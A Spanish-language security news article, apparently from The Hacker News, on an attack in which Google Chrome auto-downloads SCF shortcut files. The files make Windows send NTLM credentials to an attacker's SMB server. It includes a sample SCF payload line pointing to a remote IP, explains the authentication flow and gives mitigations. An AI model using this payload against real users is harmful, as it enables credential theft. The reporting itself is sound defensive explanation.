Bosko Stankovic, de DefenseCode, ha encontrado un fichero SCF (Shell Command File) malicioso mientras visitaba un sitio web. Dicho fichero hace que las víctimas entreguen inconscientemente a los hackers las credenciales de acceso al sistema operativo, utilizando para ello el navegador web Google Chrome y el protocolo SMB (el mismo que estuvo implicado en el esparcimiento de WannaCry).

La técnica en sí misma no es nueva, ya que fue empleada por Stuxnet, un malware que en un principio fue diseñado para neutralizar estructuras de Irán. Para realizar sus acciones maliciosas, Stuxnet usaba ficheros de acceso directo LNK de Windows para comprometer los sistemas objetivo. Sin embargo, lo que hace diferente al ataque mediante Google Chrome es el hecho de utilizar autenticación a través de SMB.

El formato de ficheros de atajo SCF funciona de forma similar al LNK y está diseñado para soportar conjuntos limitados de órdenes del Explorador de Windows para definir iconos presentes en el escritorio, como los correspondientes a Equipo (antes Mi PC) y la Papelera de reciclaje. Básicamente, se tratan de ficheros de texto localizados en el escritorio con una sintaxis específica de Shell que define la localización de un icono y el ejecutable de la aplicación.

[Shell]
Command=2
IconFile=explorer.exe,3

Desde que el navegador de Google confía en los ficheros SCF, los atacantes pueden engañar a una víctima para que visite sitios web que contengan accesos directos SCF específicamente diseñados. Dichos ficheros son descargados en el espacio del usuario de forma automática y sin pedir ninguna confirmación debido a que Google Chrome inicia las descargas de forma automática.

Después de haber sido descargados, los ficheros se ejecutan para recuperar un icono sin que el usuario tenga que hacer clic sobre estos. Sin embargo, en lugar de una ruta donde se localiza un icono, lo que contiene en realidad es la dirección de un servidor SMB remoto controlado por el atacante, cuyo código podría ser el siguiente:

[Shell]
IconFile=\\170.170.170.170\icon

Tan pronto como el fichero SCF inicie el falso proceso de recuperación de icono, engañará al sistema para que realice una autenticación automática sobre el servidor remoto controlado por el atacante a través del protocolo SMB. Esto entregará el nombre de usuario y la contraseña “hasheada” (cifrada) de la víctima, permitiendo al atacante utilizar dichas credenciales para autenticarse en el sistema o a un recurso de red.

Desde que se destapó el caso de Stuxnet, Microsoft parcheó para que los accesos directos LNK no pudiesen apuntar más allá del propio ordenador local, sin embargo, parece que se le olvidó aplicar esto sobre los ficheros SCF.

¿Cómo procesa Windows las credenciales de forma automática a un servidor?

Así es cómo funciona la autenticación a través de un servidor SMB en combinación con la petición y respuesta del mecanismo de autenticación NTLM. Empezaremos por los cuatro pasos realizados por la autenticación LM/NTLM:

  1. Los usuarios de Windows (clientes) intentan acceder a un servidor.
  2. El servidor responde con un valor de petición, pidiendo al usuario que cifre el valor de petición con su contraseña cifrada y lo mande de vuelta.
  3. Windows maneja las peticiones SCF a través del envío al servidor del nombre de usuario del cliente y la contraseña cifrada.
  4. Entonces el servidor captura la respuesta y aprueba la autenticación en caso de que la contraseña cifrada sea la correcta.

Ahora, según el escenario de ataque SCF elaborado por Stankovic, Windows intentará autenticarse en el servidor SMB malicioso automáticamente suministrándole el nombre de usuario de la víctima y su contraseña cifrada a través de NTLMv2, tal y como está descrito en el tercer paso.

En caso de que la víctima forme parte de una red corporativa, las credenciales de red asignadas a su usuario por el administrador de sistema de la empresa serán enviadas al atacante. En caso de que la víctima sea un usuario doméstico, su nombre de usuario y su contraseña de Windows serán enviados al atacante.

El hecho de enviar la contraseña cifrada la vuelve difícil de utilizar para iniciar sesión, pero al tener el atacante el nombre de usuario, se abre la puerta a la utilización de la fuerza bruta para hallar la contraseña. Por otro lado, también es importante recalcar que algunos servicios de Microsoft podrían aceptar la contraseña cifrada como forma de acceso, entre los cuales se puede mencionar a OneDrive, Outlook.com, Office 365, Office Online, Skype y Xbox Live.

Esta vulnerabilidad abre la puerta a otras como la posibilidad de ir escalando privilegios una vez se haya conseguido acceder a un sistema, algo que puede terminar teniendo consecuencias desastrosas en caso de tratarse de una red corporativa.

Cómo evitar este ataque relacionado con la autenticación a través de SMB

En primer lugar, se recomienda tener los puertos 139 y 445 cerrados para el tráfico saliente en el router, ya que son los utilizados por los servidores SMB.

Stankovic también recomienda inhabilitar las descargas automáticas en Google Chrome. Para ello hay que dirigirse a Configuración > Mostrar configuración avanzada > seleccionar “Preguntar dónde se guardará cada archivo antes de descargarlo”. El hecho de tener que aprobar manualmente las descargas dará la oportunidad al usuario de rechazar los ficheros sospechosos o que no ha solicitado.

Por su parte, Google ya ha anunciado que está trabajando en la elaboración de un parche contra esta vulnerabilidad.

 

Fuente: The Hacker News | vulnerabilidad